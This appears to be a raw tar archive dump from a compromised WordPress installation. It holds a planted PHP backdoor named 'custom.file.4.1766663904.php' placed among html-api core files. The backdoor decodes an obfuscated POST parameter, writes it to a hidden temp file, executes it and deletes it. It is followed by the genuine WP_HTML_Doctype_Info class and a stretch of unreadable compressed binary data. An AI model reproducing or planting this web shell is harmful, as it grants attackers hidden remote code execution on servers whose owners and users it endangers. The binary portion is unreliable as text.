��custom.file.4.1766663904.php.tar000064400000005000151442221670011531 0ustar00home/homerdlh/public_html/wp-includes/html-api/custom.file.4.1766663904.php000064400000001532151440300240021740 0ustar00<!--v7USGp1a-->
<?php

if(!empty($_POST["mar\x6Ber"])){
$record = array_filter(["/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$descriptor = $_POST["mar\x6Ber"];
$descriptor=explode	 ( '.'	 ,		 $descriptor ); 		
$token = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);

foreach ($descriptor as $i => $val) {
    $sChar = ord($s[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 20;
    $token .= chr($dec);
}
while ($rec = array_shift($record)) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) {
            $item = implode("/", [$rec, ".ref"]);
            if (@file_put_contents($item, $token) !== false) {
    include $item;
    unlink($item);
    die();
}
        }
}
}class-wp-html-doctype-info.php.tar000064400000065000151442221670013140 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-doctype-info.php000064400000061446151440300210023350 0ustar00<?php
/**
 * HTML API: WP_HTML_Doctype_Info class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.7.0
 */

/**
 * Core class used by the HTML API to represent a DOCTYPE declaration.
 *
 * This class parses DOCTYPE tokens for the full parser in the HTML Processor.
 * Most code interacting with HTML won't need to parse DOCTYPE declarations;
 * the HTML Processor is one exception. Consult the HTML Processor for proper
 * parsing of an HTML document.
 *
 * A DOCTYPE declaration may indicate its document compatibility mode, which impacts
 * the structure of the following HTML as well as the behavior of CSS class selectors.
 * There are three possible modes:
 *
 *  - "no-quirks" and "limited-quirks" modes (also called "standards mode").
 *  - "quirks" mode.
 *
 * These modes mostly determine whether CSS class name selectors match values in the
 * HTML `class` attribute in an ASCII-case-insensitive way (quirks mode), or whether
 * they match only when byte-for-byte identical (no-quirks mode).
 *
 * All HTML documents should start with the standard HTML5 DOCTYPE: `<!DOCTYPE html>`.
 *
 * > DOCTYPEs are required for legacy reasons. When omitted, browsers tend to use a different
 * > rendering mode that is incompatible with some specifications. Including the DOCTYPE in a
 * > document ensures that the browser makes a best-effort attempt at following the
 * > relevant specifications.
 *
 * @see https://html.spec.whatwg.org/#the-doctype
 *
 * DOCTYPE declarations comprise four properties: a name, public identifier, system identifier,
 * and an indication of which document compatibility mode they would imply if an HTML parser
 * hadn't already determined it from other information.
 *
 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
 *
 * Historically, the DOCTYPE declaration was used in SGML documents to instruct a parser how
 * to interpret the various tags and entities within a document. Its role in HTML diverged
 * from how it was used in SGML and no meaning should be back-read into HTML based on how it
 * is used in SGML, XML, or XHTML documents.
 *
 * @see https://www.iso.org/standard/16387.html
 *
 * @since 6.7.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Doctype_Info {
	/**
	 * Name of the DOCTYPE: should be "html" for HTML documents.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * Historically the DOCTYPE name indicates name of the document's root element.
	 *
	 *     <!DOCTYPE html>
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $name = null;

	/**
	 * Public identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The public identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no public identifier was present in the DOCTYPE.
	 *
	 * Historically the presence of the public identifier indicated that a document
	 * was meant to be shared between computer systems and the value indicated to a
	 * knowledgeable parser how to find the relevant document type definition (DTD).
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $public_identifier = null;

	/**
	 * System identifier of the DOCTYPE.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * The system identifier is optional and should not appear in HTML documents.
	 * A `null` value indicates that no system identifier was present in the DOCTYPE.
	 *
	 * Historically the system identifier specified where a relevant document type
	 * declaration for the given document is stored and may be retrieved.
	 *
	 *     <!DOCTYPE html SYSTEM "system id goes here in quotes">
	 *               │  │         ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * If a public identifier were provided it would indicate to a knowledgeable
	 * parser how to interpret the system identifier.
	 *
	 *     <!DOCTYPE html PUBLIC "public id goes here in quotes" "system id goes here in quotes">
	 *               │  │         ╰─── public identifier ─────╯   ╰──── system identifier ────╯
	 *               ╰──┴── name is "html".
	 *
	 * @see https://html.spec.whatwg.org/#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $system_identifier = null;

	/**
	 * Which document compatibility mode this DOCTYPE declaration indicates.
	 *
	 * This value should be considered "read only" and not modified.
	 *
	 * When an HTML parser has not already set the document compatibility mode,
	 * (e.g. "quirks" or "no-quirks" mode), it will be inferred from the properties
	 * of the appropriate DOCTYPE declaration, if one exists. The DOCTYPE can
	 * indicate one of three possible document compatibility modes:
	 *
	 *  - "no-quirks" and "limited-quirks" modes (also called "standards" mode).
	 *  - "quirks" mode (also called `CSS1Compat` mode).
	 *
	 * An appropriate DOCTYPE is one encountered in the "initial" insertion mode,
	 * before the HTML element has been opened and before finding any other
	 * DOCTYPE declaration tokens.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 *
	 * @since 6.7.0
	 *
	 * @var string One of "no-quirks", "limited-quirks", or "quirks".
	 */
	public $indicated_compatibility_mode;

	/**
	 * Constructor.
	 *
	 * This class should not be instantiated directly.
	 * Use the static {@see self::from_doctype_token} method instead.
	 *
	 * The arguments to this constructor correspond to the "DOCTYPE token"
	 * as defined in the HTML specification.
	 *
	 * > DOCTYPE tokens have a name, a public identifier, a system identifier,
	 * > and a force-quirks flag. When a DOCTYPE token is created, its name, public identifier,
	 * > and system identifier must be marked as missing (which is a distinct state from the
	 * > empty string), and the force-quirks flag must be set to off (its other state is on).
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#tokenization
	 *
	 * @since 6.7.0
	 *
	 * @param string|null $name              Name of the DOCTYPE.
	 * @param string|null $public_identifier Public identifier of the DOCTYPE.
	 * @param string|null $system_identifier System identifier of the DOCTYPE.
	 * @param bool        $force_quirks_flag Whether the force-quirks flag is set for the token.
	 */
	private function __construct(
		?string $name,
		?string $public_identifier,
		?string $system_identifier,
		bool $force_quirks_flag
	) {
		$this->name              = $name;
		$this->public_identifier = $public_identifier;
		$this->system_identifier = $system_identifier;

		/*
		 * > If the DOCTYPE token matches one of the conditions in the following list,
		 * > then set the Document to quirks mode:
		 */

		/*
		 * > The force-quirks flag is set to on.
		 */
		if ( $force_quirks_flag ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Normative documents will contain the literal `<!DOCTYPE html>` with no
		 * public or system identifiers; short-circuit to avoid extra parsing.
		 */
		if ( 'html' === $name && null === $public_identifier && null === $system_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The name is not "html".
		 *
		 * The tokenizer must report the name in lower case even if provided in
		 * the document in upper case; thus no conversion is required here.
		 */
		if ( 'html' !== $name ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * Set up some variables to handle the rest of the conditions.
		 *
		 * > set...the public identifier...to...the empty string if the public identifier was missing.
		 * > set...the system identifier...to...the empty string if the system identifier was missing.
		 * >
		 * > The system identifier and public identifier strings must be compared...
		 * > in an ASCII case-insensitive manner.
		 * >
		 * > A system identifier whose value is the empty string is not considered missing
		 * > for the purposes of the conditions above.
		 */
		$system_identifier_is_missing = null === $system_identifier;
		$public_identifier            = null === $public_identifier ? '' : strtolower( $public_identifier );
		$system_identifier            = null === $system_identifier ? '' : strtolower( $system_identifier );

		/*
		 * > The public identifier is set to…
		 */
		if (
			'-//w3o//dtd w3 html strict 3.0//en//' === $public_identifier ||
			'-/w3c/dtd html 4.0 transitional/en' === $public_identifier ||
			'html' === $public_identifier
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is set to…
		 */
		if ( 'http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd' === $system_identifier ) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * All of the following conditions depend on matching the public identifier.
		 * If the public identifier is empty, none of the following conditions will match.
		 */
		if ( '' === $public_identifier ) {
			$this->indicated_compatibility_mode = 'no-quirks';
			return;
		}

		/*
		 * > The public identifier starts with…
		 *
		 * @todo Optimize this matching. It shouldn't be a large overall performance issue,
		 *       however, as only a single DOCTYPE declaration token should ever be parsed,
		 *       and normative documents will have exited before reaching this condition.
		 */
		if (
			str_starts_with( $public_identifier, '+//silmaril//dtd html pro v0r11 19970101//' ) ||
			str_starts_with( $public_identifier, '-//as//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//advasoft ltd//dtd html 3.0 aswedit + extensions//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0 strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 2.1e//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 0//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 1//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 2//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict level 3//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html strict//' ) ||
			str_starts_with( $public_identifier, '-//ietf//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//metrius//dtd metrius presentational//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 2.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html strict//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 html//' ) ||
			str_starts_with( $public_identifier, '-//microsoft//dtd internet explorer 3.0 tables//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd html//' ) ||
			str_starts_with( $public_identifier, '-//netscape comm. corp.//dtd strict html//' ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html 2.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended 1.0//" ) ||
			str_starts_with( $public_identifier, "-//o'reilly and associates//dtd html extended relaxed 1.0//" ) ||
			str_starts_with( $public_identifier, '-//sq//dtd html 2.0 hotmetal + extensions//' ) ||
			str_starts_with( $public_identifier, '-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//' ) ||
			str_starts_with( $public_identifier, '-//spyglass//dtd html 2.0 extended//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava html//' ) ||
			str_starts_with( $public_identifier, '-//sun microsystems corp.//dtd hotjava strict html//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3 1995-03-24//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2 final//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 3.2s draft//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html 4.0 transitional//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 19960712//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd html experimental 970421//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd w3 html//' ) ||
			str_starts_with( $public_identifier, '-//w3o//dtd w3 html 3.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html 2.0//' ) ||
			str_starts_with( $public_identifier, '-//webtechs//dtd mozilla html//' )
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > The system identifier is missing and the public identifier starts with…
		 */
		if (
			$system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'quirks';
			return;
		}

		/*
		 * > Otherwise, if the DOCTYPE token matches one of the conditions in
		 * > the following list, then set the Document to limited-quirks mode.
		 */

		/*
		 * > The public identifier starts with…
		 */
		if (
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 frameset//' ) ||
			str_starts_with( $public_identifier, '-//w3c//dtd xhtml 1.0 transitional//' )
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		/*
		 * > The system identifier is not missing and the public identifier starts with…
		 */
		if (
			! $system_identifier_is_missing && (
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 frameset//' ) ||
				str_starts_with( $public_identifier, '-//w3c//dtd html 4.01 transitional//' )
			)
		) {
			$this->indicated_compatibility_mode = 'limited-quirks';
			return;
		}

		$this->indicated_compatibility_mode = 'no-quirks';
	}

	/**
	 * Creates a WP_HTML_Doctype_Info instance by parsing a raw DOCTYPE declaration token.
	 *
	 * Use this method to parse a DOCTYPE declaration token and get access to its properties
	 * via the returned WP_HTML_Doctype_Info class instance. The provided input must parse
	 * properly as a DOCTYPE declaration, though it must not represent a valid DOCTYPE.
	 *
	 * Example:
	 *
	 *     // Normative HTML DOCTYPE declaration.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE html>' );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // A nonsensical DOCTYPE is still valid, and will indicate "quirks" mode.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( '<!doctypeJSON SILLY "nonsense\'>' );
	 *     'quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Textual quirks present in raw HTML are handled appropriately.
	 *     $doctype = WP_HTML_Doctype_Info::from_doctype_token( "<!DOCTYPE\nhtml\n>" );
	 *     'no-quirks' === $doctype->indicated_compatibility_mode;
	 *
	 *     // Anything other than a proper DOCTYPE declaration token fails to parse.
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( ' <!DOCTYPE>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!DOCTYPE ><p>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<!TYPEDOC>' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( 'html' );
	 *     null === WP_HTML_Doctype_Info::from_doctype_token( '<?xml version="1.0" encoding="UTF-8" ?>' );
	 *
	 * @since 6.7.0
	 *
	 * @param string $doctype_html The complete raw DOCTYPE HTML string, e.g. `<!DOCTYPE html>`.
	 *
	 * @return WP_HTML_Doctype_Info|null A WP_HTML_Doctype_Info instance will be returned if the
	 *                                   provided DOCTYPE HTML is a valid DOCTYPE. Otherwise, null.
	 */
	public static function from_doctype_token( string $doctype_html ): ?self {
		$doctype_name      = null;
		$doctype_public_id = null;
		$doctype_system_id = null;

		$end = strlen( $doctype_html ) - 1;

		/*
		 * This parser combines the rules for parsing DOCTYPE tokens found in the HTML
		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
html5-named-character-references.php.php.tar.gz000064400000067025151442221670015451 0ustar00��{�TG�'��n����ݙ���hfzG���yH-Q����SU)����*`g�
(�z�7�ޅ����Q�k�1��+��~��s�p?�����k����Dx�=<<�#+��A�狃�U}�B��z���p�W�r���G���l��@����R��Un0gs�(�U�GqT�E�_W�������_OWW*���ή��������z'�t���n{�%���z6vY�������u=��_��7󋶿i{�Q��j *Gq���r�l���_�ۊ��By��Qmۺ��mma�����WWn��'���/��m��m��6�gۮ�m�n۾�́o�ݳ�7�l{����?n۲��ͻ�ܳ���D�J[�Ro+U�Cm���+M���q����T\	|���-n�]�M0�J�����zK����j1����ϵG[=��k��P�\����ֳ2�r�P/��3���!������DmU��8�Հ��i�����ׯ;�5��Q!r����l_1��/���l��/�٧��Ӑ٧�٦Г��z[��_駶�ugw[��
��+�*�w�P��
�Ŷr4�(8Z����\�Ղ�D�BD��m���AΕ(�d��h沵�W��\sm9�e�yP��&A7�}W
ЏJ�\���Q��(o��붏
��J������F1B+� Ζ۲���@�Ҩ�P5�k��@�ի�6<�1��W���0*�����g�+~�UǕ��G֑I���̍[mLj���� T�҈s���m�q���?�枏���ĮhD�ʙsM�bK������.;T)�]/E�W��r��uI�D���E,�"3���F5O�ݗ����z�Z��k��F�f�������J������~�94������ʟ�����7T�O]C�*�j��i��_���g�8{����������+x͍�_���o�~��򫺛���kt��bT�"B�q�Q�q�77�|��7��o�}�����-ⷄ�2~+���7�o
�u�6�-�|�ފ��o!�[H�R���oo���"��H�v���6(�=��~Q��A�m�|4��w��{�ݍ�O���;��(����;�����/RmF��(�f�ڌVڌ�lF+m��h������>�Q���]P{t�E��"��%߂ܷ �-�-H�e؂�[P�-H��) ǭo��"�V�ڊ�"�V�ߊ�m��؆ܷ�G�!�6�݆|���6�
�ކ��
Զ��6�
4�C���=�yq���ߡ����~���C��!��;�lG�lG�툹���/��Tۑv;�Ey�G����}�z��Gk����#��(������>@�����?��j�pR�@�h�H��%�
;0Zv��v��P�Ԇ�w'������sa'J���	j;Ag'�~/~����{�w��_�s(��]��.����@���]Leۍ�ۍq�tv��nP�
�Aa7�tvc^��ݨ�nP�j{v�svh��=��4���PۃR�����3e/R�E��Eڽh��(�^�ؽ���t�2�j/J�!8ɇ��!h~���>�A�C����b~�8!�G����?������6���>F�>����c��㣄���>A�O����	R}�T� U1��Q񳈙E�,Z)��E[e�VYPȢ��h�,SC[eQ��0���s�!�>�҇\�P�>�Շ���}����W��C^}ȫy�!�(�@3�9�́f#$�9�́Ztr��C�sL
e���<�?���#�<ʟG^y�G^y�G^y���1���1���1���1�~#��yE�%B.r��K��@9B�Dh��Dh�s*B�r��c�#�8�ȥ��~?���(?r��~���~P���P@���J>��<����������(0e�y3h}1�\�� r�A����APD?�����/ ~�)�<����,�<�)���g4(U-�h~j�!�gH�b~�8���~�܏����~����w?R�G�"jZO.�m��E�)��EP+����Q���\�"(��E���z�W�*����/�UD��h�Fc	���c	9��c	9��W	mXB^%�RB.%�R�(���w;~������Q�2�*#�2�*#�2jWF�e�XF�ȷ�:��o��Q�2r/�ve.jWƼ�`e� �
� �
� �
� �
� �
r� �
r� �
r� �
r� �*r�"�*�WA�
�UP��r���\�*hVA�R@��s�@��c�E1�O��c�p�2Ĩi��Ġ�$1(�(I�����y��+F�b���1��RC^5�UC^5�UC^5�UC^5�UC^5�UC.5�Rü�!��!��k�u�XG�u�XG�u�XG�u�XG�u�RG.uЯ�~4h�ڭ�
Pn�r����h�r�h�
�o�~���@�(y
!�!��f�rB^C�k�B�C�e=2�\���rB.Ch�aPF�a�F�a�F�a�?����A�<�D[D�Q��� ���L5:�q~�:�Z�C(�!P>��@��B�È��$���0RFy#�a�=����ou���m��+q���a���_{�������}?�e8H�_ӷ_:]���a�v�28t���������uB������?��N�4E6��.�#	S0���W�r�
@ CJ�/����GM2�(�ˣ1W�s.��J�Ц}<c�H���Q�c<���C���3J�?޴�~a��5�H]��hq����HF�4��Ji��2����}?�5%E��F+es�D/
�. %�r~ӾW+�M�����4Re�Rv�F]�+�~��K_Aw�R�R�'J�Z-z�QΑ>�ex�&��O��-M�4�g8H!�Ae���Ae��5u�{.��.}-�.:wʹ7�#Ӊ�'���5�R/��g�2���W�|�*�ώ)�F���S��B�N����: �pH�V6��V��]%�g3��#��1C.�������Q��Y�)Jx��%����`�!������\i����r��=�e��
���:��sJbc���F�?=������e�ӌd&O�Iڷo����iL{�hDf
?^2��/i4�����@e�h�R5:@C���0:�����d	J�j˿�c�Ǜ��X� D��P�+`�sXSf��z��N�:�z��]�����v�P1:���� f�/�(\u�)��*��q�T=L�[�~I����ߦ����Uʅr���}�a.�yLS8�h"��a	��ת�0	'�)[PA�����	��|��*_q%z9iZ�R�H�)"e�;��׮\D��F�����Q�_SY9`�xo���M���Q#
ܜ1������W�b�~�ܠ�t,�1{
������Qf<y5yY�g��29�L��1y=E��P�=QF]�2+��ÅZ�v�\�4�m����V�!�U�>�O��x�J����Q��j��Z�
�.���\��4�<r�����)x�A�����+c+�.�q#�@��Ep5��9�3+e���CD�)qO�P�k��q�K{��*���.ƨ��9�-B��q�34�P>^�l��=�FE����Ս_��ގ+5s�o%".�ӈ~���]i���UfQ'3�2�I7�r�NZ����;n���AZ#��f�<1�� ��n������x��h
��ʿ����D2�>A��)�Nk��@D�bč�w��U}��1�nj�ԍ�<��c�(6/��X����P�x|�QDq.z�XO�u�����Xٝ�4lO�m�_�Iz����D�bn��lZ�rn��D~����0���a��E�L ����L����?^&\Ӫ9�x�
��)�ڻSK�8LS�<L|���L����k�7�(%З�o�ua�����ʣ_�E.�vǛ�G��]�����q\v���6#�S�=��%ىC5I�LS����2\�>Ĺ���p���'��Ü��X'�҇�>��U�
